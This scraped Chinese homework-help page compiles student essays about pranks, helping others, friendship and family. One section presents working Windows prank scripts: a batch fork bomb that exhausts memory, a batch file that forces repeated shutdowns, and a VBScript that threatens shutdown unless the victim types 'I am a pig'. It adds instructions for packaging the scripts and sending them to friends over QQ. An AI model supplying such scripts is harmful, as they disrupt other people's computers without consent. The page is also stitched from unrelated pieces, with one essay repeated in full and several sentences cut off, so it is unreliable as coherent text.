作业帮捉弄人的作文
来源：学生作业帮助网 编辑：作业帮 时间：2024/09/24 12:26:12 体裁作文
篇一：被人捉弄的滋味
被人捉弄的滋味
你被别人捉弄过吗？大家都知道被人捉弄的滋味真不好受啊，我就曾经尝试过那滋味??
有一天，同学们都高高兴兴到学校上学了。“叮呤呤”，第一节课上课了，我像往常一样积极地举手发言。“杨静，这个问题你来回答！”老师清脆悦耳的声音传到我耳边。我想：老师这次终于叫到我啦，真是太好了，又可以表现自己的“小聪明”。因为我喜欢老师的表扬，非常爱表现自己。
当我回答完问题就要坐下时，突然，我那好朋友把凳子轻轻地挪开，不知情的我，一屁股坐了下去，顿时，摔了个仰面朝天。同学都捧腹大笑起来。当时，我的脸一阵又一阵的发烫，心想：我的面子全部给她丢光了，下课后，有你好受的。我气鼓鼓地问她：“你干嘛这样捉弄我，我又没捉弄你。”她嬉皮笑脸地说：“开个玩笑，何必当真呢？不要生气，不要生气！”老师不是经常说别人有错误，要包容她（他），要宽容别人。我说：“好，这次，我原谅你，下次不能再捉弄我了！”
过了不久，她又用假话捉弄我。“杨静，语文老师叫你到办公室去，有好消息告诉你！”我开始半信半疑，怕又像上次一样被捉弄。她见我半信半疑，便说：“这次真的不骗你。”我又被她那“狡猾的计谋”给蒙了过去，我满心欢喜地跑到办公室，问：“老师，你有什么好消息告诉我？”老师亲切地答道：“我哪有什么好消息告诉你呢？我没叫你呀！”我又一次被她捉弄了，顿时，心里感到十分难受。心想：“她为什么要这样捉弄我？我跟她既无冤无仇，又是她的好朋友，我怎么想都想不通？”
通过这件事，使我懂得：被人捉弄的滋味真不好受啊！并忠告大家，被人捉弄滋味真不好受，不要把别人的痛苦当作自己的欢笑。
篇二：愚人节捉弄人小程序
第一个:让别人内存OVER(逼他重启)
@echo off
start cmd
%0
就这3行了
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次
改成7就是7次...
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第三个:善意恶搞关机
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，
结束任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?
第四个:让人崩溃的关机程序
首先你可以看下面的
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。呜呜~555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
篇三：帮助他人作文
哈！今天真高兴，想知道为什么吗？
告诉你，我今天做了一件好事，下午课余休息时间，我们教室来了一位老爷爷，见他提着一个装有塑料瓶的尼龙袋，我一看便知道他是收废品的。我们班有个淘气包叫戴思卿的，一见他便吼道：“没瓶子，快走！”我生气地瞪了他一眼：“别瞎嚷嚷了，多不礼貌，就是没有也要好好说嘛，而且怎么可能没有瓶子呢？！”说完，我在垃圾桶里翻找起来，结果一个，二个，三个……收获还真不小，一下子，老爷爷的袋子就装满了，拿不完怎么办呢？我急中生智，扯开嗓门喊道：“哪位的抽屉里有塑料袋？”顿时，同学们七嘴八舌地嚷嚷起来，很多人都说没有，终于，有个响亮的声音喊道：“我有！”我定睛一看，原来还是戴思卿，接过袋子，我友好地冲他笑了笑，说了声谢谢，便急急忙忙把剩余的瓶子都装进塑料袋里，交给爷爷。
老爷爷临走了还一个劲直夸我是个懂事的好孩子，我心里美滋滋的。
原来，帮助别人远远比向别人索取更快乐啊！
帮助别人是一种高尚的美，而一个大集体就是用这种美构成的。一个集体如果拥有这样的美，那它一定是一个强大的集体。
帮助过我的人很多，我的朋友也很多。不过真正在我最困难的时候帮我度过难关的人却少得可怜。而张帆就是其中的一个。
记得上三年级的时候，我的成绩一直不好。有一次，数学单元测验我考的不好，我认为自己
不好，我认为自己永远都是差生，再也好不起来了。心里很不是滋味，偷偷地难过起来。我突然想起一年级时我考100分的高兴劲。张帆好像猜出了我的心思，轻轻地走了过来。拍了一下我的肩膀：“不要难过了，一次考不好没关系嘛！只要努力，争取下一次取得好成绩！”“你说的倒容易，可我考那么差，怎么向爸爸妈妈交待呢？”听了她的话，我好像从迷雾中找到了一丝灯光。她胸有成竹地说：“你不要怕！我们全班同学都考得不怎么好，何况你一个？”“可事实上，我却考得那么差。我对妈妈说过，我要考名牌大学呢！”我有些沮丧地说。但我已不那么难过，而且灯光离我越来越近。“你离考大学
张帆，你的话我懂了。我知道了，知道了自信心对一个人来讲是多么多么的重要。我以后不会再为了一次没考好，而把那可贵的自信心扔到了“垃圾桶”，我会永远珍藏着这珍贵的自信心！
帮助他人就是快乐自己
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有一首歌的题目是《让世界充满爱》，歌中唱到：“只要人人都献出一点爱，这世界将会变成美丽的人间。”这是多么美好的憧憬啊！以前，我都不相信这些，帮助别人自己也能快乐吗？可是就是那么一件小小的事，让我觉得自己以前的想法都是错的。
那是发生在雨天的事。好大的雨啊！黄豆般的雨点儿劈劈啪啪地把地上砸了一个个小坑；小树在狂风中乱晃，拼命支撑着纤细的身体；本来高高盘旋在树上的牵牛花，此时也被甩了下来，凄惨惨地缩成一团，那粉红色的衣裙沾满了污泥。暑假里我参加了补课班，想不到竟遇到了这样的鬼天气；刚才还是晴空万里，仅一转眼的工夫，老天爷的脸就变了。此刻，风刮得更大了，大树在剧烈的摇晃。老师不安地望着窗外。好不容易雨渐渐小了，他赶紧让我们回家，于是大家不管三七二十一，冲出了教室最后剩下我和另外两个女同学了。我咬咬牙也钻进了雨帘，雨姑娘好象故意捉弄人，又“沙沙”地下了起来。走上去一步打得我睁不开眼睛，地上满是泥水走上去一步三滑。忽然，我隐约看见前面有一个人影，举者一把伞，我心里一动：莫非是妈妈来接我了？我激动地向前紧走着。啊！果然是妈妈！她不时地张望，在焦急地喊我的名字。妈妈发现了我，迅速地递过来一把伞，我欣喜地从那两个中学生身后挤了过来，接过了这把救命伞。妈妈关切地掏出了一件外套说：“别冻着了，快穿上。”这时，妈妈发现了我身后的同学：“哎呀，看那两个孩子浑身都淋湿了，咱俩挤一挤用一把伞，把另一把借给她们用用吧。”我听了，悄悄地说：“咱跟她们素不相识，给她们干什么。”“唉，你这孩子，别人有困难就应该帮助嘛。”我撇撇嘴，又把话咽到了肚里。妈妈停下来，让我去招呼那两个同学，她俩喜出望外，赶紧跑过来。虽然我有些不情愿，但我还是把那把伞交给她们，妈妈却说：“那把伞漏雨给她们这把伞吧。”于是，那两个同学撑者我们的伞走在前面，我和妈妈举着另一把伞跟在后面。走到一座奶黄色的小楼前，两个同学停下，感动地向我们连连道谢，妈妈笑了笑拉起我向远处走去。风又紧了，雨又急了，透过风雨，我忽然发觉自己的心情很好，像做了了一件无比快乐的事情，而且我还发现妈妈身上有一种闪光的东西，是那么亮，那么耀眼。
通过这件小事，或许会有许多许多的道理。那就是，关心体贴他人，在他人需要的时候，能主动热情地给予帮助，急人之急，帮人之苦，忧人之忧，救人之危，以帮助别人为快乐。要记住：帮助别人就是快乐自己。
帮助他人就是帮助自己
“你把最好的给予别人，就会从别人那里获得最好的。你帮助的人越多，你得到的也越多。你越吝啬，就越一无所有。”这是文章的第一段。现实就是这样，只有那些乐于帮助他人的人才会获得别人的尊重。我相信你听过这个小男孩的故事，他出于一时的气愤对母亲喊他很憎恨，然后，也许是害怕惩罚，他跑出家里，对着山谷喊道：“我恨你！我恨你！”接着山谷传来回音：“我恨你！我恨你！”小孩很害怕，跑回家里对母亲说，山谷里有个卑鄙的小孩子说他恨他。母亲把他带回山边，并要他喊：“我爱你，我爱你。”小孩照母亲说的做了，而这次他却发现，有一个很好的小孩在山谷里说：“我爱你，我爱你。”
生命就像是一种回声，你送出什么它就送回什么，你播种什么就收获什么，你给予什么就得到什么。只要你付出了，就会有收获。再多的话说来也没用，只有这一段话，正是助人的真实写照：当我们帮助他人的时候，我们付出的是自己对别人的生命的爱，就仿佛给别人的生命之树捧一掬清泉。爱的感情是不竭的源泉，我们付出得越多，内心就越充盈，幸福感就越强。所以，助人不仅是付出，也是收获。
帮助他人是中华民族悠久的崇尚美德，因此也呈现过不少令人敬佩的榜样：雷锋、丛飞，还有普普通通的工人，勤劳的农民，清纯的少女，等等。他们都在用自己的行动，自己的力量去帮助有需要的人，去温暖这些人的心灵。社会的繁荣兴旺，更少不了人们之间的互相帮助。许多工程都不是一个人能完成的，它需要大家的合作，互相帮助，互相激励，才能圆满成功。当我们帮助了别人，就会油然而生一种无比的喜悦，极度的愉快。助人是快乐的。
别人得到了温暖，自己得到了快乐。这不就是“帮助他人就是帮助自己”吗？铭记：给予就是获得
帮助别人是一种幸福
什么是一种幸福呢？可想而知，答案很多。有人说，给予是一种幸福，它给人温馨与喜悦。有人说收获是一种幸福，它让你领悟到收获后的喜悦与激动。而我却说帮助别人是一种幸福，它是最真挚的心灵体验，将永远温暖着你的心。
记得在一个寒冷的下午，北风呼呼地吹着。虽然我已经穿成了一个“小熊”，但终未能抵御严寒。北风仍然无情地吹着，透过我层层外衣，直逼我那单薄的身体。时不时的还有几片干枯的叶子轻轻飘落。走在大路上的我，已经冻得直打寒颤了，周围的一切都是那么安静，只有我踩在雪地上的吱吱声。
“唉！瞧这破天儿，冻死人了。说冷就冷。”只听一个小姑娘抱怨道。“唉呀！糟了！今天下这么大的雪，张爷爷一个人，怎么扫？反正我也没什么事，帮忙去！” 也不知是一种什么力量，支持着我，使我一口气儿就跑到了学校。一进门，就看见张爷爷在那拿着把似乎已经很破旧的扫把，在扫雪……
张爷爷，张爷爷！我急忙跑过去。“怎么了？小姑娘？有什么事儿吗？”他很关切地问道。“噢，没什么，我想帮您扫雪！”我注视着他说。“谢谢你了！不过真的不用了，你看天多冷啊！”他笑了笑。
我还是执意要扫。我找来一把扫把，一把似乎比我还大的。接着，我便开始了艰难的扫雪工程。我干的很卖力。但效果却不是很好，不一会儿，我就出了一身汗。眼看着张爷爷已经从这边扫到了那边，而我却原地不动。心里也自然不是滋味。这一切，张爷爷也都看到了，但他却仍然很感激我……
夕阳已经落下，晚霞也渐渐退去了。天边的最后一丝光亮也将和我们告别了。他对我说。“孩子，快回家吧！别让家人等等急了！”我冲他笑了笑，走了。 走在路上忽然觉得特别暖和，风停了……总之一切都是那么美好。
什么是真正的幸福，今天我终于找到了答案，其实很简单：帮助别人就是一种幸福。
帮助别人是一种幸福
什么是一种幸福呢？可想而知，答案很多。有人说，给予是一种幸福，它给人温馨与喜悦。有人说收获是一种幸福，它让你领悟到收获后的喜悦与激动。而我却说帮助别人是一种幸福，它是最真挚的心灵体验，将永远温暖着你的心。
记得在一个寒冷的下午，北风呼呼地吹着。虽然我已经穿成了一个“小熊”，但终未能抵御严寒。北风仍然无情地吹着，透过我层层外衣，直逼我那单薄的身体。时不时的还有几片干枯的叶子轻轻飘落。走在大路上的我，已经冻得直打寒颤了，周围的一切都是那么安静，只有我踩在雪地上的吱吱声。
“唉！瞧这破天儿，冻死人了。说冷就冷。”只听一个小姑娘抱怨道。“唉呀！糟了！今天下这么大的雪，张爷爷一个人，怎么扫？反正我也没什么事，帮忙去！” 也不知是一种什么力量，支持着我，使我一口气儿就跑到了学校。一进门，就看见张爷爷在那拿着把似乎已经很破旧的扫把，在扫雪……
张爷爷，张爷爷！我急忙跑过去。“怎么了？小姑娘？有什么事儿吗？”他很关切地问道。“噢，没什么，我想帮您扫雪！”我注视着他说。“谢谢你了！不过真的不用了，你看天多冷啊！”他笑了笑。
我还是执意要扫。我找来一把扫把，一把似乎比我还大的。接着，我便开始了艰难的扫雪工程。我干的很卖力。但效果却不是很好，不一会儿，我就出了一身汗。眼看着张爷爷已经从这边扫到了那边，而我却原地不动。心里也自然不是滋味。这一切，张爷爷也都看到了，但他却仍然很感激我……
夕阳已经落下，晚霞也渐渐退去了。天边的最后一丝光亮也将和我们告别了。他对我说。“孩子，快回家吧！别让家人等等急了！”我冲他笑了笑，走了。 走在路上忽然觉得特别暖和，风停了……总之一切都是那么美好。
什么是真正的幸福，今天我终于找到了答案，其实很简单：帮助别人就是一种幸福。
当我们帮助别人时，别人的心里会感到温暖，而别人帮助我们时，我们的心中也同样会感到安慰。
我曾经就遇到过一次被别人帮助过的事情。
那是一个星期三的早晨，来到学校，我打开书包，突然发现我没有带文具盒，心里一下子慌了起来：没有笔、没有学习文具，让我怎么学习，怎么写字啊！ 这时，第一节课的上课铃响了，语文老师走进了教室，让我们写复习本，全班同学全都低头写复习本了，惟独我，在那里傻傻的看着复习本，一个字也写不了。我正在发愁，旁边的王新华问我：“你为什么不写啊？”我告诉她我没有带文具盒。王新华热情的对我说：“用我的吧！”说着，从文具盒里拿出了一支蓝水笔：“给你，快写吧！”我道了谢， 赶快写了起来。可是，这节课下了，还有数学课和英语课怎么办呢？我还在发愁。
当我周围的同学知道了我没带文具盒时，人人都伸出了友爱之手，打开自己的文具盒，这个借我一支铅笔，那个又借我一块橡皮。看着她们那一张张热情的笑脸
还有那一双双援助之手，阵阵暖流温暖着我的心灵，有如一束阳光照进了我的心田。
这虽然只是一件小事，但却让我从中深深体会到接受别人的帮助心里会有多么的温暖。
也许，在你看来微不足道的一点帮助，就会给对方带来雪中送炭般的温暖。帮助与被帮助同样会得到快乐。
我们整个社会大家庭又何尝不是如此呢，有道是：“一方有难八方援，众人拾柴火焰高。”如果我们每个人都能献出一点点爱心，那么还有什么困难能难倒我们呢？我们的社会又将是怎么一幅美好的景象啊！
互相帮助是我们人类的美德，愿我们每一个人都能把这一美德发扬光大，让我们的爱心洒遍世界的每一个角落。
“感恩的心，感谢有你，伴我一生，让我有勇气做我自己……”当我每次听到这首让人感动不已的歌时，我的眼前就会闪现出一双双爱心的手缝合的一个个美丽的梦，他们的手上写满了对爱得奉献，写满了真诚与无私。老师的手能引领我们在知识的海洋里遨游；朋友的手能在我最困难时给予我勇气和力量；父母的手能哺育着子女们健康成长，而我的手呢？我的手也能为别人做一些力所能及的事，也能为他人献出自己小小的爱心。
记得那是一个烈日当空的下午，火辣辣的阳光毫不留情的炙烤着大地上的一切，苍翠挺拔的柳树没精打采地耷拉着脑袋。风儿不知道躲到哪去了，到处都是热的，柳树上的知了也拉长了噪音拼命的叫着：“受不了，受不了”……我正在校园树荫下跟几个同学玩跳皮筋，就在我玩得正开心时，大约离我三四米处传来了小妹妹的哭声。我急忙扭头循声望去——我扔下皮筋，大步流星地走过去，只见一个小妹妹趴在地上看着前方那位撞倒她的初中生大哥哥，嚎啕大哭呢！但让我出乎意料的是那位大哥哥竟然转过头来两眼珠子瞪得滚圆，像熊熊燃烧的火焰，一副怒气天无法遏制的样子，凶巴巴地对小妹妹说：”你没长眼睛啊？瞎子呀！“我站在一旁咬牙切齿狠狠地瞪了那位大哥哥一眼，心想：做了错事你还有理了，初中的学生怎么品德这么差，这么多年的学白上了！这时许多同学都围了过来，眼睛直盯着那位大哥哥议论起来，而那位大哥哥却毫不在意地瞟了他们一眼，转身就跑向教学楼。我连忙双手扶起撞到在地的小妹妹，然后我拥有手拍了拍她身上的土，她边擦干眼泪边哭哭啼啼地说：“谢谢……姐姐”我笑盈盈地说：“不用谢，别哭了快回班吧！”说完小妹妹有她那双右手擦了擦泪抽噎着，那双宛如两潭秋水的眼睛看着我，望着那位素不相识三步两回头的小妹妹的背影，我思绪万千。
生活中，我们每一个人应该多一些温暖与关怀，少一些冷漠与无奈哪怕是一句鼓励的话语，一声互相温馨的问候，一把轻轻地搀扶，虽然这些都微不足道，但是只要人人都有颗宽容的心，生活将变得更加美好！
帮助他人
作者：孟以阳来源：查字典作文网 阅读：0次2011-11-06 10:43:05 我要投稿
篇四：作文
深厚的友谊
世上什么最珍贵，我会毫不犹豫的回答说，友谊最珍贵，在我心目中友谊一定是最珍贵的，这段友谊经历永远潜藏在我心海深处。
回忆起在刚入学那段时间，我有一个好朋友----艾力，他是我一生中最好的朋友，我们行影不离，好象一对双胞胎，我们每天在一起学习、玩耍，日久天长，我们成了最要好的朋友。我们在一起的这段时光，让我非常难忘。
虽然我们平时关系那么好，但有时候也吵架，有一次，险些破坏了我们之间的友谊，也许他已经忘记，但我仍记忆犹新，清晰的浮现在我眼前。
在上三年级时，我当上了卫生委员，我异常高兴，俗话说新官上任三把火，希望抓住一个同学耍耍威风，可过了好多天，都没有抓住，我很焦急，我多么希望我能耀武扬威一下，终于，这一天我发现我的好朋友把纸花仍到垃圾箱外，说实话我提醒他一下就算了，，可我当时也不知怎么了，我大叫起来，艾力，你为什么要仍纸花，其实他也不是故意的，我冤枉他，他气得面红耳赤，就这样，他说出来一句话，我们绝交，我当时也不知哪根筋错了，说绝交就绝交，有什么了不起，我们因为这件事，持续了一个星期也没说话，家里电话安静了许多，我的生活好象一个泡泡，一下子碎了，这时我在也忍不住了，我去向他道歉，他也原谅了我，我们又成了好朋友，通过这件事，我知道忠实的朋友是要经过验证的，是需要磨和的，友谊最珍贵，我们要珍惜这珍贵深厚的友谊。
友谊和真诚
时代在变，人也在变。现在的社会是十分令人恐惧的。要能在社会上立足自立，就要有一技之长，还有拥有被知识武装的良好品持。现在的社会人与人之间，是很难让人刻意去相信一个人的。唯有付出真心，才能被人相信，被社会接受；唯有付出真心，才能拥有永久的友谊；唯有付出真心，才能在社会上打下一片天空。
人活在世上，不是孤立的，应该要有朋友的，人才会活得更快乐，更加精彩。小学四年级时，我有一位很好的同桌，刚开始我极喜欢捉弄人，常把她气哭，但是奇怪的她即不告诉老师，也不像别的女生动手，而是一阵泪水过后，就天晴了。记得最后一次把她气哭，也是最严重的了。那天，她哭得十分伤心，这时候我才意识到自己的过失是多么严重，我迫使自己去思考后果，想了好久，但是她依然包容了我。
这时候，我的心已不能平静下来。我考虑自己为什么要一次又一次的去伤害别人，去把自己的快乐建立在别人的痛苦之上，我早已觉得无地自容了，终于对他说了 “对不起”。顿时，她竟然哭了起来，我连忙说了几句安慰的话，这让失眠了好几天。她让我感受到人心的宽广，人与人之间相处，唯有付出真心，唯有真心才能让彼此信任对方，彼此聆听对方的心声。 几天后的我早已改变了，再也没有惹她不高兴的，而是换了一种身份，成为好朋友、知己，我们无话不谈，有烦恼，大家一起分担，有快乐大家一起分享，有困难，一起解决。
直到现在，那份友谊依然在我心灵的上面，没有风可以吹走，没有雨可以淋下，没有阴云可以遮挡它的光辉。付出真诚，才能活得快乐，才能活得更精彩，去吧，把真诚分给大家，那片蔚蓝的纯洁的天空将永远挂在你心中。 友谊无价，真诚更无价。
我所崇拜的人（我的老师）
我最崇拜的人 在我们的生活中，有许多值得我们崇拜的人，长辈，老师，朋友还是同学，都是我们的榜样，当然，我也不例外。 我最崇拜的就属我的老师了，她可是一个教书认真，品行方正的好老师。
为什么说她是我最崇拜的人呢，这还得从我入学说起。 记得那时候，我们还不懂事，上课的时候乱说闲话，老师在讲台上也不吭声，我以为老师生气了，但老师的行为却出乎我的意料。她没有对我们进行严格的批评，而是给我们讲上课时该干什么，全班一下子变得鸦雀无声，没想到老师的这招真灵。 这是我崇拜老师的第一个因素，第二个因素是她有无所不能的本事。 我的老师可以说是一个书法家，他写的粉笔字，毛笔字以及钢笔字，让人看了都惊叹不已;她朗诵也很专业，什么语气，神态，样样俱全，真不愧是无所不能呀! 如今，她已经叫了我们五年了，这样的好老师，值得我崇拜。
坚持就是胜利
在生活中我们做什么事都需要坚持，要有持之以恒的信心和勇气。如果没有坚持就不会胜利跑步坚持就可以到达终点，取得胜利。学习坚持就可以得到应有的回报......
记得有一次，我们在烈日下训练团体操，同学们累的气喘吁吁，都在抱怨为什么要训练团体操，我们已经练习了很长时间，都已经练到整齐划一的地步，但还要反复练习，抱着决不放弃的思想，顶着烈日骄阳在辛苦的练团体操。到了比赛的那一天，因为同学们做好了充足的准备，比赛时间同学们按照以前练习的动作认认真真的做操，最终我们坚持到了胜利的那一刻，同学们高兴极了！付出的汗水没有白流。
生活中坚持的地方有很多，希望大家努力坚持不要半途而废，因为坚持就是胜利！
我最喜欢的动物
我喜欢的小动物是一只小狗，它全身长满白色的毛，像一团棉花糖；眼睛是圆溜溜的，像两颗宝石；耳朵是半圆形，
鼻子是黑色，尾巴短短的，很可爱。
我给它爱吃的骨头，它会一块一块，一小段一小段地啃。它啃完骨头后，就会汪汪地叫几声，好像在说：“小主人，谢谢你。”每当我去上学，她总是会送我一段路程，直到我假装生气打它两三下，它才乖乖地跑回家去。它不但会送我去上学，还喜欢和我一起赛跑，跑得十分快，有时，把我落了一段路程。平时，它看起来很胆小，但看见陌生人时，却又不失威猛地睁着双眼紧盯着陌生人的一举一动，关键时还会大声叫， 它真是一只机灵又尽忠职守的小狗啊！
我放学回家时，可算是小狗最开心的时候。只要小狗在家，我在放学回家的路上离家门口还有一段路总可看见小狗在门前等着我。它看见了我，就会摇着尾巴往我这里飞奔而来，然后在我人前人后蹦来蹦去。这么机灵的小狗能不讨人喜欢吗？
我很希望把这只小狗养得白白胖胖，因为它实在太可爱了。
读书
古人云：“书为师，多拜多得识！”鲁迅先生也曾说过：“读书，就是要把书当做朋友一样，去读懂这位?朋友?内心最深处的世界。”从古至今人们都把书当成“精神食粮”。而我如今也可谓是“拜书为师，结书为友，读书为粮”了！ 我读书很杂，如儿童故事书，漫画书，史书，侦探小说，只要是书我都会拿来翻翻。虽然读书广泛，但我也有自己最喜欢的书， 我读书的时候，总是会被书中的内容吸引，浮想联翩。读侦探小说时，我就觉得自己是一名侦探，感觉很棒。读历史书时，感觉就像自己穿越到了古代。这种用文字描绘出来的气势，让我更爱读书。 每当我拿起一本书就忘记了时间在走。有一次，我去新华书店看书，妈妈让我回来时顺路买点面条，我一踏进书店就把这事抛到九霄云外了。一直到六点钟进了家门，妈妈见我两手空空，就知道我的老毛病又犯了，狠狠地把我批评了一顿，可我就是百批不改，气得妈妈拿我没办法。谁叫我一心向书”呢。
好书是良师益友，是点燃知识火把的那盒火柴，是指引你走出“文盲”的启明星，是智慧源泉中的智慧之水。 我们要爱读书，读好书。
学习汉语
我喜欢学汉语，别人说我汉语学得好，其实，也没什么。我一向把汉语看得很重要。我认为：我国是多民族国家，汉语是我国的国语。只有学好汉语，才能为学习各科打下良好的基础。数学能看懂题意，物理能理清思路，……总之，汉语是基础之基础，是重中之重。
学好汉语，我主要做到了以下三点： 1.上课认真听讲，做好词语积累，掌握句子语法结构，为写作文打基础。
有些同学认为，语汉语，讲得多而考得少，不听也照样能考好。这种想法就错了。其实认真听课是很学习汉语重要的一环，
2. 坚持每天写一篇日记。 有些同学把日记看成一种负担、一种苦差事，是为了应付检查才写日记的。
其实，这种做法是不对的。记日记就是把今天所学知识（包括书本上的、社会上的、自然界里的）和语文积累的一种复习巩固，是自己为自己书写的一本真实的自传。
3.多观察生活。要学好汉语，一定要观察多彩的生活，多接触一些汉族朋友。要敢于说，把学过的用在生活上，做生活的提炼者。
这就是我学习语文的方法。我学汉语，就是为了用好汉语，为自己的学习打下基础。
篇五：描写一个人的作文
描写一个人的作文
描写一个人的作文（一）
我有一个聪明、淘气、活泼、自信的亲弟弟。
我的弟弟很可爱，他有一双大大的眼睛，高高的鼻梁，一张可爱的小嘴，别看他那么小，逗起人来可有模有样的，今天我要特别聊聊他的自信，就说刚刚的一幕吧，我扶着他坐在沙发上，可他就不安份，小手使劲的往沙发背上抓，我知道他想爬上沙发背上，这个小屁屁还一个劲的往上蹬，我说：“阳阳，小屁屁别蹬了，爬不上去的。”可他呢，不但不听，还蹬的更夸张了，小嘴一个劲的：“啊，啊，啊——”也不知道在说什，我想他肯定在说：“姐姐，你别小瞧我，看看我的厉害吧！结果当然也没有爬上去喽，倒是爸爸过来了把他抱上去的。
我觉得我的弟弟很自信，但也好，因为自信是成功的钥匙，我们每个人都应该学会自信，让自信常伴我们左右吧！
描写一个人的作文（二）
我的弟弟才2岁，就已经会说话了。他很淘气，总是要搞破坏，所以我就叫他淘气包。
有一次，弟弟在和我妈妈玩的时候，故意把饭桌上的碗和菜咕噜咕噜地刮下来，刚刚烧好的菜洒落一地，碗也敲碎了。外婆看见了，怒气冲冲走过来，追着弟弟打，嘴里还说：“你这个小家伙，把刚烧好的菜弄了一地，看我怎么教训你！”弟弟被打的时候还看着>我的妈妈。我妈妈马上把他抱过来，对他说：“以后可别这样了！”
还有一次，我在外婆家和弟弟玩，我正在看电视，弟弟飞快地骑着自行车跑到井口边，拿起肥皂，猛向垃圾箱扔去，我说：“不要扔！”可他就是不听，我想：“他这下惨啦！”外婆看见了，马上把弟拉进屋子，骂了他几句，还瞪了他一眼呢！
我的弟弟真淘气啊！我真喜欢他。
描写一个人的作文（三）
从小，就有一张漂亮的脸蛋，时常向我微笑；从小，就有一双温柔的手，在我受伤时帮我擦药，让我有了安全感。
“姐姐，这汤好美味喔！”这是我一、二年级时的事情。暑假，我常常住在外婆家。一天中午，外公、外婆都不在家，家里只剩我和姐姐，这时，我肚子好饿，姐姐似乎看穿我的心，就到厨房动手烹饪。首先，姐姐把玉米、蔬菜等食物放进水里，接着放下浓汤，这时一阵阵香味飘过来，我的肚子叫得更大声了。只见姐姐倒进牛奶，再洒下>幸
福口味的调味汤，哇~这道可口的玉米浓汤经过姐姐的巧手，显得更美味了。喝下姐姐的爱心玉米浓汤，浓浓的牛奶溢满了嘴吧，满满的幸福在心里 徘徊，我连续喝了几碗，姐姐看到我心满意足的笑脸，也很高兴。
姐姐总是在我身边无微不至的照顾我，使我感受到姐姐对我的爱。有一句话一直藏在我心中：姐姐，有你真好！
体裁作文